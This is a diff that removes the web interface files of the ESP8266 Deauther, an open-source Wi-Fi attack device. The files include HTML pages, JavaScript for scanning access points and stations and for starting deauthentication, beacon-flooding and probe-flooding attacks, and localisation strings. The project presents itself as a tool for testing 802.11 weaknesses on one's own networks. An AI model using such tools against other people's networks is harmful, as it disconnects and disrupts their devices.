<span class="warn">{p3}</span><br />
<br />
{p4}<br />
{p5}<br />
<br />
{p6}
<br />
{p7} <a href="https://github.com/spacehuhn/esp8266_deauther">github.com/spacehuhn/esp8266_deauther</a> {p8}<br />
<br />
<br />
<a class="button" href="apscan.html">{p9}</a>
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

View File

@ -1,90 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<h2>{h2}</h2>
<p>
<span class="bold">Copyright (c) 2017 Stefan Kremser</span><br />
<br />
{p1} <a href="license">{a1}</a> {p2}<br />
{p3} <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">{a2}</a>.<br />
<br />
{p4}<br />
<br />
<span class="bold">{p5}</span>
</p>
<h2>Contributors</h2>
<p>
<a href="https://github.com/N0vaPixel" target="_blank">@N0vaPixel</a> (Aur&eacute;lien Hernandez)<br />
<a href="https://github.com/SaltyViper" target="_blank">@SaltyViper</a><br />
<a href="https://github.com/tobozo" target="_blank">@tobozo</a><br />
<a href="https://github.com/andrbmgi" target="_blank">@andrbmgi</a><br />
<a href="https://github.com/dalmirdasilva" target="_blank">@dalmirdasilva</a> (Dalmir da Silva)<br />
<a href="https://github.com/ericktedeschi" target="_blank">@ericktedeschi</a> (Erick Belluci Tedeschi)<br />
<a href="https://github.com/SamuelKlit" target="_blank">@SamuelKlit</a> (Samuel KS)<br />
<a href="https://github.com/schinfo" target="_blank">@schinfo</a> (Helmut)<br />
<a href="https://github.com/ajnavarro" target="_blank">@ajnavarro</a> (Antonio Navarro Perez)<br />
<a href="https://github.com/rubfi" target="_blank">@rubfi</a><br />
<br />
Also special thanks to <a href="https://github.com/deantonious" target="_blank">@deantonious</a> for the help with the webdesign!<br />
<br />
For more information go to <a href="https://github.com/spacehuhn/esp8266_deauther/graphs/contributors">contributors</a> on this projects GitHub page.
</p>
<h2>Credits</h2>
<p>
<a href="https://github.com/ThisIsDallas/Simple-Grid">SIMPLE GRID</a> - (C) ZACH COLE 2016<br />
<br />
{p6}<br />
Source: <a href="https://www.wireshark.org/tools/oui-lookup.html">https://www.wireshark.org/tools/oui-lookup.html</a><br />
{p7}<br />
</p>
<h2>{p8}</h2>
<p>
Web: spacehuhn.de<br />
GitHub: github.com/spacehuhn<br />
Twitter: @spacehuhn<br />
E-mail: mail@spacehuhn.de<br />
<br />
{p9} <a target="_blank" href="https://patreon.com/spacehuhn">patreon.com/spacehuhn</a>.<br />
<br />
{pa} <a target="_blank" href="https://www.tindie.com/stores/lspoplove/">tindie.com/stores/lspoplove</a>.
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

View File

@ -1,100 +0,0 @@
var table = document.getElementsByTagName('table')[0];
var networkInfo = getE('networksFound');
var scanInfo = getE('scanInfo');
var apMAC = getE('apMAC');
var startStopScan = getE('startStopScan');
var selectAllBtns = getE('selectAllBtns');
var autoScan = false;
function toggleScan(onoff) {
if (onoff && !autoScan) scanInfo.style.visibility = 'hidden';
else scanInfo.style.visibility = 'visible';
}
function compare(a, b) {
if (a.r > b.r) return -1;
if (a.r < b.r) return 1;
return 0;
}
function getStatus(enc, hid) {
/*
if (enc == 8) return "WPA*";
else if (enc == 4) return "WPA2";
else if (enc == 2) return "WPA";
else if (enc == 7) return "none";
else if (enc == 5) return "WEP";
*/
var buff = "";
if (enc != 7) buff += "&#128274; ";
if (hid == 1) buff += "&#128123; ";
return buff;
}
function getResults() {
toggleScan(true);
getResponse("APScanResults.json", function(responseText) {
var res;
try {
res = JSON.parse(responseText);
} catch(e) {
// wut
showMessage(_("JSON Parsing failed :-("), 2500);
return;
}
// TODO: more sanity checks on res && res.aps
res.aps = res.aps.sort(compare);
networkInfo.innerHTML = res.aps.length;
apMAC.innerHTML = "";
if (res.multiAPs == 1) selectAllBtns.style.visibility = 'visible';
else selectAllBtns.style.visibility = 'hidden';
var tr = '';
if (res.aps.length > 0) {
tr += '<tr><th>Ch</th><th>' + _('SSID') + '</th><th> </th><th>' + _('RSSI') + '</th><th>' + _('Select') + '</th></tr>';
}
for (var i = 0; i < res.aps.length; i++) {
if (res.aps[i].se == 1) tr += '<tr class="selected">';
else tr += '<tr>';
tr += '<td>' + res.aps[i].c + '</td>';
tr += '<td>' + escapeHTML(res.aps[i].ss) + '</td>';
tr += '<td>' + getStatus(res.aps[i].e, res.aps[i].h) + '</td>';
//tr += '<td>' + res.aps[i].r + ' <meter value="' + res.aps[i].r + '" max="-30" min="-100" low="-80" high="-60" optimum="-50"></meter></td>';
var _width = res.aps[i].r + 130;
var _color;
if(res.aps[i].r < -80) _color = "meter_red";
else if(res.aps[i].r < -60) _color = "meter_orange";
else _color = "meter_green";
tr += '<td><div class="meter_background"> <div class="meter_forground '+_color+'" style="width: '+_width+'%;"><div class="meter_value">' + res.aps[i].r + '</div></div> </div></td>';
if (res.aps[i].se) {
tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('deselect') + '</button></td>';
apMAC.innerHTML = res.aps[i].m;
}
else tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('select') + '</button></td>';
tr += '</tr>';
}
table.innerHTML = tr;
});
}
function scan() {
toggleScan(false);
getResponse("APScan.json", function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error APScan.json"));
toggleScan(true);
});
}
function select(num) {
getResponse("APSelect.json?num=" + num, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error APSelect.json"));
});
}
getResults();

View File

@ -1,124 +0,0 @@
var selectedAPs = getE("selectedAPs");
var selectedClients = getE("selectedClients");
var table = document.getElementsByTagName("table")[0];
var ssidList = document.getElementsByTagName("table")[1];
var saved = getE("saved");
var ssidCounter = getE("ssidCounter");
var ssid = getE("ssid");
var num = getE("num");
var enc = getE("enc");
var randomIntrvl = getE("randomIntrvl");
var randomBtn = getE("randomBtn");
var resultInterval;
var data = {};
function getResults() {
getResponse("attackInfo.json", function(responseText) {
var res;
try {
res = JSON.parse(responseText);
} catch(e) {
// wut
showMessage(_("JSON Parsing failed :-("), 2500);
return;
}
// TODO: more sanity checks on res && res.aps
var aps = "";
var clients = "";
var tr = "<tr><th>" + _('Attack') + "</th><th>" + _('Status') + "</th><th>" + _('Start/Stop') + "</th></tr>";
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + escapeHTML(res.aps[i]) + "</li>";
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + escapeHTML(res.clients[i]) + "</li>";
selectedAPs.innerHTML = aps;
selectedClients.innerHTML = clients;
if(res.randomMode == 1) randomBtn.innerHTML = _("Disable Random");
else randomBtn.innerHTML = _("Enable Random");
for (var i = 0; i < res.attacks.length; i++) {
if (res.attacks[i].running) tr += "<tr class='selected'>";
else tr += "<tr>";
tr += "<td>" + res.attacks[i].name + "</td>";
if (res.attacks[i].status == "ready") tr += "<td class='green status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
else tr += "<td class='red status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
if (res.attacks[i].running) tr += "<td><button class='select' onclick='startStop(" + i + ")'>stop</button></td>";
else tr += "<td><button class='select' onclick='startStop(" + i + ")'>" + _('start') + "</button></td>";
tr += "</tr>";
}
table.innerHTML = tr;
if(typeof res.ssid != 'undefined'){
data = res.ssid;
ssidCounter.innerHTML = data.length + "/48";
var tr = "<tr><th>"+ _('Name') + "</th><th></th><th>" + _('Del.') + "</th></tr>";
for (var i = 0; i < data.length; i++) {
tr += "<tr>";
tr += "<td>" + escapeHTML(data[i][0]) + "</td>";
if(data[i][1] == 1) tr += "<td>&#128274;</td>";
else tr += "<td></td>";
tr += '<td><button class="button-warn" onclick="deleteSSID(' + i + ')">x</button></td>';
tr += "</tr>";
}
ssidList.innerHTML = tr;
}
}, function() {
clearInterval(resultInterval);
showMessage(_("error loading attackInfo.json"));
});
}
function startStop(num) {
getResponse("attackStart.json?num=" + num, function(responseText) {
getE("status"+num).innerHTML = "loading";
if (responseText == "true") getResults();
else showMessage(_("response error attackStart.json"));
});
}
function addSSID() {
var _ssidName = ssid.value;
if(_ssidName.length > 0){
if(data.length >= 64) showMessage(_("SSID list full :("), 2500);
else{
saved.innerHTML = "";
getResponse("addSSID.json?ssid=" + _ssidName + "&num="+num.value + "&enc=" + enc.checked, getResults);
}
}
}
function cloneSelected() {
getResponse("cloneSelected.json", getResults);
}
function deleteSSID(num) {
saved.innerHTML = "";
getResponse("deleteSSID.json?num=" + num, getResults);
}
function randomSSID() {
saved.innerHTML = "";
getResponse("randomSSID.json", getResults);
}
function clearSSID() {
saved.innerHTML = "";
getResponse("clearSSID.json", getResults);
}
function saveSSID() {
saved.innerHTML = "saved";
getResponse("saveSSID.json", getResults);
}
function resetSSID() {
saved.innerHTML = "saved";
getResponse("resetSSID.json", getResults);
}
function random(){
getResponse("enableRandom.json?interval="+randomIntrvl.value, getResults);
}
getResults();
resultInterval = setInterval(getResults, 2000);

View File

@ -1,66 +0,0 @@
function getE(name){
return document.getElementById(name);
}
function escapeHTML(str) {
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\"/g, '&quot;')
.replace(/\'/g, '&#39;')
.replace(/\//g, '&#x2F;')
}
function showMessage(msg, closeAfter){
var errorE = getE("error");
errorE.innerHTML = msg;
errorE.classList.remove('hide');
errorE.classList.add('show');
if(closeAfter !== undefined){
setTimeout(function(){
errorE.innerHTML = "";
errorE.classList.remove('show');
errorE.classList.add('hide');
},closeAfter);
}
}
function getResponse(adr, callback, timeoutCallback, timeout, method){
if(timeoutCallback === undefined) {
timeoutCallback = function(){
showMessage(_("Timeout loading") +" "+adr);
};
}
if(timeout === undefined) timeout = 8000;
if(method === undefined) method = "GET";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4){
if(xmlhttp.status == 200){
callback(xmlhttp.responseText);
}
else timeoutCallback();
}
};
xmlhttp.open(method, adr, true);
xmlhttp.send();
xmlhttp.timeout = timeout;
xmlhttp.ontimeout = timeoutCallback;
xmlhttp.onabort = function(e) {
showMessage(_("ABORT")+" "+adr);
};
xmlhttp.onerror = function(e) {
showMessage(_("ERROR loading")+" "+adr +" :: "+ this.statusText);
};
}
function _(l10nid) {
return l10n.jsStrings[l10nid];
}

View File

@ -1,244 +0,0 @@
/* localstorage polyfill (supports Safari Private browsing mode /w fallback to cookie */
// Refer to https://gist.github.com/remy/350433
try {
// Test webstorage existence.
if (!window.localStorage || !window.sessionStorage) throw "exception";
// Test webstorage accessibility - Needed for Safari private browsing.
localStorage.setItem('storage_test', 1);
localStorage.removeItem('storage_test');
} catch(e) {
(function () {
var Storage = function (type) {
function createCookie(name, value, days) {
var date, expires;
if (days) {
date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
expires = "; expires="+date.toGMTString();
} else {
expires = "";
}
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=",
ca = document.cookie.split(';'),
i, c;
for (i=0; i < ca.length; i++) {
c = ca[i];
while (c.charAt(0)==' ') {
c = c.substring(1,c.length);
}
if (c.indexOf(nameEQ) == 0) {
return c.substring(nameEQ.length,c.length);
}
}
return null;
}
function setData(data) {
// Convert data into JSON and encode to accommodate for special characters.
data = encodeURIComponent(JSON.stringify(data));
// Create cookie.
if (type == 'session') {
createCookie(getSessionName(), data, 365);
} else {
createCookie('localStorage', data, 365);
}
}
function clearData() {
if (type == 'session') {
createCookie(getSessionName(), '', 365);
} else {
createCookie('localStorage', '', 365);
}
}
function getData() {
// Get cookie data.
var data = type == 'session' ? readCookie(getSessionName()) : readCookie('localStorage');
// If we have some data decode, parse and return it.
return data ? JSON.parse(decodeURIComponent(data)) : {};
}
function getSessionName() {
// If there is no name for this window, set one.
// To ensure it's unquie use the current timestamp.
if(!window.name) {
window.name = new Date().getTime();
}
return 'sessionStorage' + window.name;
}
// Initialise if there's already data.
var data = getData();
return {
length: 0,
clear: function () {
data = {};
this.length = 0;
clearData();
},
getItem: function (key) {
return data[key] === undefined ? null : data[key];
},
key: function (i) {
// not perfect, but works
var ctr = 0;
for (var k in data) {
if (ctr == i) return k;
else ctr++;
}
return null;
},
removeItem: function (key) {
delete data[key];
this.length--;
setData(data);
},
setItem: function (key, value) {
data[key] = value+''; // forces the value to a string
this.length++;
setData(data);
}
};
};
// Replace window.localStorage and window.sessionStorage with out custom
// implementation.
var localStorage = new Storage('local');
var sessionStorage = new Storage('session');
window.localStorage = localStorage;
window.sessionStorage = sessionStorage;
// For Safari private browsing need to also set the proto value.
window.localStorage.__proto__ = localStorage;
window.sessionStorage.__proto__ = sessionStorage;
})();
}
// returns "index" or "apscan" or "attack" .... etc
var page = location.href.split("/").slice(-1)[0].split('.')[0];
if(page=='') page = 'index';
var l10n = {};
var language = 'en';
storage = window.sessionStorage;// window.localStorage is too persistent for what it's worth
function fetchl10n(url) {
fetch(url)
.then((resp) => resp.json()) // Transform the data into json
.then(function(data) {
l10n = data;
console.log('saving l10n to storage');
storage.setItem('l10n', JSON.stringify(l10n));
loadl10n();
}).catch(function(error) {
// If there is any error you will catch them here
console.log(error);
alert('l10n FAIL: Could not fetch language file ' + url);
throw('Web UI l10n Failed, check your JSON files');
});
}
function loadl10n() {
// load language
var nav = document.querySelector('nav') || { innerHTML:'' };
var container = document.querySelector('.container');
var blocks = {
navHTML: nav.innerHTML,
containerHTML: container.innerHTML
}
if(blocks.navHTML!='') {
for(prop in l10n.navStrings) {
blocks.navHTML = blocks.navHTML.replace('{' + prop + '}', l10n.navStrings[prop]);
}
}
for(prop in l10n.pageStrings[page]) {
//console.log('parsing ' + prop);
blocks.containerHTML = blocks.containerHTML.replace('{' + prop + '}', l10n.pageStrings[page][prop]);
}
nav.innerHTML = blocks.navHTML;
container.innerHTML = blocks.containerHTML;
loadComplete();
}
function loadComplete() {
// l10n load complete, proceed to the page duty
const scriptcontext = document.querySelector('script[data-src]');
if(scriptcontext) {
scriptcontext.src = scriptcontext.getAttribute('data-src');
}
}
if(storage) {
console.log('storage available');
if(storageLang = storage.getItem('language')) {
language = storageLang;
console.log('got language from storage: ' + language);
} else {
// first load, save language to storage
console.log('storing language: ' + language);
storage.setItem('language', language);
}
if(storagel10n = storage.getItem('l10n')) {
console.log('got l10n from storage');
l10n = JSON.parse(storagel10n);
// best use case: language is session preloaded, no neet to fetch JSON
loadl10n();
} else {
// fetch it
console.log('will fetch l10n json');
let url = '/l10n/' + language + '.json';
fetchl10n(url);
}
} else {
// using default language
let url = '/l10n/' + language + '.json';
fetchl10n(url);
// alert("no cookie or local/session storage");
}
if(page=="settings") {
// enable language switcher
var flagbuttons = document.querySelectorAll('.flag');
for(i=0;i<flagbuttons.length;i++) {
var button = flagbuttons[i];
if(button.getAttribute('data-lang') == language) {
button.classList.add('selected');
}
button.addEventListener('click', function(evt) {
let language = evt.target.getAttribute('data-lang');
let url = '/l10n/' + language + '.json';
fetchl10n(url);
console.log('storing language: ' + language);
storage.setItem('language', language);
setTimeout(function() {
document.location.reload();
}, 1500);
}, false);
}
}

View File

@ -1,99 +0,0 @@
var ssid = getE('ssid');
var ssidHidden = getE('ssidHidden');
var password = getE('password');
var apChannel = getE('apChannel');
var macAp = getE('macAp');
var randMacAp = getE('randMacAp');
var apScanHidden = getE('apScanHidden');
var scanTime = getE('scanTime');
var timeout = getE('timeout');
var deauthReason = getE('deauthReason');
var packetRate = getE('packetRate');
var saved = getE('saved');
var clientNames = getE('clientNames');
var useLed = getE('useLed');
/*var channelHop = getE('channelHop');*/
var multiAPs = getE('multiAPs');
var multiAttacks = getE('multiAttacks');
var cMac = getE('cMac');
var cName = getE('cName');
var macInterval = getE('macInterval');
var beaconInterval = getE('beaconInterval');
var ledPin = getE('ledPin');
var res;
function getData() {
getResponse("settings.json", function(responseText) {
try {
res = JSON.parse(responseText);
} catch(e) {
showMessage(_("Error: reset the settings."));
return;
}
ssid.value = res.ssid;
ssidHidden.checked = res.ssidHidden;
password.value = res.password;
apChannel.value = res.apChannel;
macAp.value = res.macAp;
randMacAp.checked = res.randMacAp;
apScanHidden.checked = res.apScanHidden;
scanTime.value = res.clientScanTime;
timeout.value = res.attackTimeout;
deauthReason.value = res.deauthReason;
packetRate.value = res.attackPacketRate;
useLed.checked = res.useLed;
/*channelHop.checked = res.channelHop;*/
multiAPs.checked = res.multiAPs;
multiAttacks.checked = res.multiAttacks;
macInterval.value = res.macInterval;
beaconInterval.checked = res.beaconInterval;
ledPin.value = res.ledPin;
});
}
function saveSettings() {
saved.innerHTML = _("saving...");
var url = "settingsSave.json";
url += "?ssid=" + ssid.value;
url += "&ssidHidden=" + ssidHidden.checked;
url += "&password=" + password.value;
url += "&apChannel=" + apChannel.value;
url += "&macAp=" + macAp.value;
url += "&randMacAp=" + randMacAp.checked;
url += "&apScanHidden=" + apScanHidden.checked;
url += "&scanTime=" + scanTime.value;
url += "&timeout=" + timeout.value;
url += "&deauthReason=" + deauthReason.value;
url += "&packetRate=" + packetRate.value;
url += "&useLed=" + useLed.checked;
/*url += "&channelHop=" + channelHop.checked;*/
url += "&multiAPs="+multiAPs.checked;
url += "&multiAttacks="+multiAttacks.checked;
url += "&macInterval="+macInterval.value;
url += "&beaconInterval="+beaconInterval.checked;
url += "&ledPin="+ledPin.value;
getResponse(url, function(responseText) {
if (responseText == "true") {
getData();
saved.innerHTML = _("saved");
}
else showMessage(_("response error settingsSave.json"));
});
}
function resetSettings() {
getResponse("settingsReset.json", function(responseText) {
if (responseText == "true") {
getData();
saved.innerHTML = _("saved");
}
else showMessage(_("response error settingsReset.json"));
});
}
function restart(){
getResponse("restartESP.json?", function(){});
}
getData();

View File

@ -1,154 +0,0 @@
var table = document.getElementsByTagName('table')[0];
var scanBtn = getE("startScan");
var scanTime = getE("scanTime");
var clientsFound = getE("clientsFound");
var scanStatus = getE("clientScanStatus");
var clientNames = getE('clientNames');
var nameListTable = getE('nameList');
var res;
function compare(a, b) {
if (a.p > b.p) return -1;
if (a.p < b.p) return 1;
return 0;
}
function toggleBtn(onoff) {
if (onoff) {
scanStatus.style.visibility = 'visible';
} else {
scanStatus.style.visibility = 'hidden';
}
}
function getResults() {
getResponse("ClientScanResults.json", function(responseText) {
try{
res = JSON.parse(responseText);
}catch(e){
showMessage(_("Error: clear the client list."));
return;
}
res.clients = res.clients.sort(compare);
clientsFound.innerHTML = res.clients.length;
var tr = '';
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>' + _('Name') + '</th><th>MAC</th><th>AP</th><th>' + _('Select') + '</th></tr>';
for (var i = 0; i < res.clients.length; i++) {
if (res.clients[i].s == 1) tr += '<tr class="selected">';
else tr += '<tr>';
tr += '<td>' + res.clients[i].p + '</td>';
if(res.clients[i].l >= 0) tr += '<td>' + escapeHTML(res.clients[i].n) + ' <a onclick="editNameList(' + res.clients[i].l + ')"></a></td>';
else tr += '<td><a onclick="setName(' + res.clients[i].i + ')">' + _('set') + '</a></td>';
if(res.clients[i].v.length > 1) tr += '<td>' + res.clients[i].v + res.clients[i].m.substring(8, 20) + '</td>';
else tr += '<td>' + res.clients[i].m + '</td>';
tr += '<td>' + escapeHTML(res.clients[i].a) + '</td>';
if (res.clients[i].s == 1) tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('deselect') + '</button></td>';
else tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('select') + '</button></td>';
tr += '</tr>';
}
table.innerHTML = tr;
clientNames.innerHTML = res.nameList.length + "/50";
var tr = '<tr><th>MAC</th><th>' + _('Name') + '</th><th>' + _('Del.') + '</th><th>' + _('Add') + '</th></tr>';
for (var i = 0; i < res.nameList.length; i++) {
tr += '<tr>';
tr += '<td>' + res.nameList[i].m + '</td>';
tr += '<td>' + escapeHTML(res.nameList[i].n) + ' <a onclick="editNameList(' + i + ')">'+ _('edit') + '</a></td>';
tr += '<td><button class="marginNull button-warn" onclick="deleteName(' + i + ')">x</button></td>';
tr += '<td><button class="marginNull button-primary" onclick="add(' + i + ')">'+ _('add') + '</button></td>';
tr += '</tr>';
}
nameListTable.innerHTML = tr;
}, function() {
showMessage(_("reconnect and reload the site"));
}, 6000);
}
function scan() {
toggleBtn(true);
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
if(responseText == "true") {
setTimeout(function() {
toggleBtn(true);
getResults();
}, scanTime.value * 1000);
}
else showMessage(_("response error ClientScan.json"));
});
}
function select(num) {
getResponse("clientSelect.json?num=" + num, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error clientSelect.json"));
});
}
function clearNameList() {
getResponse("clearNameList.json", function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error clearNameList.json"));
});
}
function addClient(){
getResponse("addClient.json?mac="+cMac.value+"&name="+cName.value, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error addClient.json"));
});
}
function setName(id) {
var newName = prompt(_("Name for ") + res.clients[id].m);
if (newName != null) {
getResponse("setName.json?id=" + id + "&name=" + newName, function(responseText) {
if(responseText == "true") getResults();
else showMessage(_("response error editNameList.json"));
});
}
}
function editNameList(id) {
var newName = prompt(_("Name for ") + res.nameList[id].m);
if (newName != null) {
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
if(responseText == "true") getResults();
else showMessage(_("response error editNameList.json"));
});
}
}
function deleteName(id) {
getResponse("deleteName.json?num=" + id, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error deleteName.json"));
});
}
function add(id){
getResponse("addClientFromList.json?num=" + id, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error addClientFromList.json"));
});
}
getResponse("ClientScanTime.json", function(responseText) {
scanTime.value = responseText;
getResults();
toggleBtn(false);
});

View File

@ -1,182 +0,0 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"RSSI",
"Select":"Select",
"select":"select",
"deselect":"deselect",
"Attack":"Attack",
"Status":"Status",
"Start/Stop":"Start/Stop",
"Disable Random":"Disable Random",
"Enable Random":"Enable Random",
"start":"start",
"Name":"Name",
"Del.":"Del.",
"Add":"Add",
"add":"add",
"edit":"edit",
"set":"set",
"SSID list full :(":"SSID list full :(",
"Error: reset the settings.":"Error: reset the settings.",
"saving...":"saving...",
"saved":"saved",
"Name for ":"Name for ",
"Timeout loading":"Timeout loading",
"ABORT":"ABORT",
"ERROR loading":"ERROR loading",
"JSON Parsing failed :-(":"JSON Parsing failed :-(",
"response error APScan.json":"response error APScan.json",
"response error APSelect.json":"response error APSelect.json",
"error loading attackInfo.json":"error loading attackInfo.json",
"response error attackStart.json":"response error attackStart.json",
"response error settingsSave.json":"response error settingsSave.json",
"response error settingsReset.json":"response error settingsReset.json",
"Error: clear the client list.":"Error: clear the client list.",
"reconnect and reload the site":"reconnect and reload the site",
"response error ClientScan.json":"response error ClientScan.json",
"response error clientSelect.json":"response error clientSelect.json",
"response error clearNameList.json":"response error clearNameList.json",
"response error addClient.json":"response error addClient.json",
"response error editNameList.json":"response error editNameList.json",
"response error deleteName.json":"response error deleteName.json",
"response error addClientFromList.json":"response error addClientFromList.json"
},
"navStrings": {
"APs":"APs",
"Stations":"Stations",
"Attacks":"Attacks",
"Settings":"Settings",
"Info":"Info"
},
"pageStrings": {
"apscan": {
"h1":"Scan for Wi-Fi access points",
"a1":"scanning...",
"button1":"scan",
"p1":"Networks found:",
"p2":"MAC:",
"button2":"deselect all",
"button3":"select all",
"p3":"INFO:",
"p4":"You may have to reload the site to see the results."
},
"attack": {
"h1":"Attacks",
"p1":"Selected AP(s):",
"button1":"clone",
"p2":"Selected Station(s)",
"button2":"Enable Random",
"p3":"INFO:",
"p4":"You may lose connection when starting the attack.",
"p5":"Change the channel in the settings to the same of the selected AP to prevent this.",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"Number of Clones",
"label3":"Encrypted",
"button3":"add",
"p6":"SSIDs:",
"button4":"clear",
"button5":"random",
"button6":"reset",
"button7":"save",
"p7":"saved",
"p8":"Deauth [deauthentication attack]:",
"p9":"Constantly sends deauthentication and disassociation frames to the selected station(s) and access point(s).",
"pa":"Beacon [beacon flooding]:",
"pb":"Constantly broadcasts beacon frames to advertise all SSIDs in the list below.",
"pc":"Probe-Request [probe request flooding]:",
"pd":"Constantly broadcasts probe request frames with all SSIDs in the list below."
},
"error": {
"h1":"ERROR 404",
"p1":"Page not found &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"WARNING",
"p1":"This software is meant for testing common vulnerabilities in the 802.11 standard.",
"p2":"Please check the laws for your country before using it.",
"p3":"Use it only on your own networks and devices!",
"p4":"You are resposible for everything you do with this software.",
"p5":"The device will log every attack against any network or device.",
"p6":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
"p7":"Go to",
"p8":"for more information.",
"p9":"I've read and understood the notice above"
},
"info": {
"h1":"Info",
"h2":"ESP8266 Deauther",
"p1":"This project is licensed under the MIT License. See the",
"a1":"license file",
"p2":"for details.",
"p3":"The source code is available on",
"a2":"GitHub",
"p4":"Use it only for testing or educational purposes against your own devices!",
"p5":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
"p6":"The MAC address vendor list is based on the Wireshark manufacturer database.",
"p7":"Wireshark is released under the GNU General Public License version 2",
"p8":"Contact",
"p9":"If you would like to support me with my projects, please consider becoming a patron on",
"pa":"Or buy the official hardware for this project from DSTIKE on"
},
"settings": {
"locale":"Change locale",
"english":"English",
"french":"French",
"german":"German",
"spanish":"Spanish",
"italian":"Italian",
"klingon":"Klingon",
"chinese":"Simplified Chinese",
"h1":"Settings",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"Password",
"label03":"min.8 chars",
"label04":"Hide SSID",
"label05":"be careful with this setting!",
"label06":"Channel",
"label07":"MAC",
"label08":"Random MAC",
"h3":"AP Scan",
"label09":"Scan Hidden APs",
"label10":"Select multiple SSIDs",
"h4":"Station Scan",
"label11":"Default Scan Time",
"h5":"Attack",
"label12":"Timeout (0 = no timeout)",
"label13":"Use LED",
"label14":"LED Pin",
"label15":"1s Beacon Interval (default: 100ms)",
"label16":"Deauth Reason-Code",
"label17":"Packetrate",
"label18":"may cause instability!",
"label19":"Enable Simultaneous Attacks",
"label20":"MAC Change Interval (used for beacons & probes)",
"label21":"Channel Hopping",
"button1":"reset",
"button2":"restart",
"button3":"save"
},
"stations": {
"h1":"Scan for Wi-Fi Stations",
"label1":"Scan time:",
"button1":"start",
"a1":"scanning...",
"p1":"The access point will be unavailable while scanning and you may have to reconnect!",
"p2":"Stations found:",
"button2":"deselect all",
"button3":"select all",
"p3":"Saved stations:",
"button4":"clear",
"p4":"Add station:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"Name",
"placeholder2":"EXAMPLE",
"button5":"add"
}
}
}

View File

@ -1,181 +0,0 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"RSSI",
"Select":"Sélectionner",
"select":"sélectionner",
"deselect":"déselectionner",
"Attack":"Attaquer",
"Status":"Status",
"Start/Stop":"Démarrer/Arreter",
"Disable Random":"Désactiver Random",
"Enable Random":"Activer Random",
"start":"démarrer",
"Name":"Nom",
"Del.":"Eff.",
"Add":"Ajout",
"add":"ajout",
"edit":"éditer",
"set":"assigner",
"SSID list full :(":"List des SSID remplie :(",
"Error: reset the settings.":"Erreur: effacer les reglages.",
"saving...":"enregistrement...",
"saved":"enregistré",
"Name for ":"Nom pour ",
"Timeout loading":"Délai d'attente dépassé",
"ABORT":"INTERROMPRE",
"ERROR loading":"ERREUR de chargement",
"JSON Parsing failed :-(":"La lecture du JSON a échoué :-(",
"response error APScan.json":"Réponse foireuse de APScan.json",
"response error APSelect.json":"Réponse foireuse de APSelect.json",
"error loading attackInfo.json":"Réponse foireuse de attackInfo.json",
"response error attackStart.json":"Réponse foireuse de attackStart.json",
"response error settingsSave.json":"Réponse foireuse de settingsSave.json",
"response error settingsReset.json":"Réponse foireuse de settingsReset.json",
"Error: clear the client list.":"Erreur: il faut vier la listes des clients.",
"reconnect and reload the site":"Reconnecter le wifi et recharger la page",
"response error ClientScan.json":"Réponse foireuse de ClientScan.json",
"response error clientSelect.json":"Réponse foireuse de clientSelect.json",
"response error clearNameList.json":"Réponse foireuse de clearNameList.json",
"response error addClient.json":"Réponse foireuse de addClient.json",
"response error editNameList.json":"Réponse foireuse de editNameList.json",
"response error deleteName.json":"Réponse foireuse de deleteName.json",
"response error addClientFromList.json":"Réponse foireuse de addClientFromList.json"
},
"navStrings": {
"APs":"APs",
"Stations":"Stations",
"Attacks":"Attaques",
"Settings":"Reglages",
"Info":"Info"
},
"pageStrings": {
"apscan": {
"h1":"Trouver des points d'acces WiFi",
"a1":"scan en cours...",
"button1":"scan",
